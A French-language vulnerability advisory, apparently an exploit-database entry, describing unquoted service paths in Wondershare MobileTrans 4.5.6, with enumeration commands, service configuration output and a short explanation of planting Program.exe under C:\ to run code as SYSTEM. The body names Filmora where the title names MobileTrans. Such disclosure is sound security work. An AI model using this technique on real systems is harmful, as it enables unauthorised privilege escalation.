
Wondershare MobileTrans 4.5.6 - Unquoted Service Path
Wondershare MobileTrans 4.5.6 - Chemin de service non mis entre guillemets
Les versions 4.5.6 et antérieures de Wondershare Filmora contiennent plusieurs chemins de service non mis entre guillemets, ce qui permet aux attaquants d'élever leurs privilèges au niveau système.
Chemin binaire du service WsAppService3 : C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe Chemin binaire du service ElevationService : C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
C:\Windows\system32>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Wondershare Driver Install Service help ElevationService C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe Auto
Wondershare Application Update Service 3.0 WsAppService3 C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe Auto
C:\Windows\system32>sc qc WsAppService3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WsAppService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Application Update Service 3.0
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
C:\Windows\system32>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ElevationService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Driver Install Service help
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Si un utilisateur malveillant dispose des autorisations d'écriture dans l'un des chemins contenant des espaces, il peut y déposer un exécutable malveillant et exécuter du code en tant que SYSTEM. Par exemple, supposons que nous ayons un utilisateur avec des privilèges faibles et des droits d'écriture sur C:, alors nous pouvons déposer un exécutable malveillant nommé Program.exe dans le chemin C:\ et au redémarrage, le service exécutera la charge utile en tant que SYSTEM.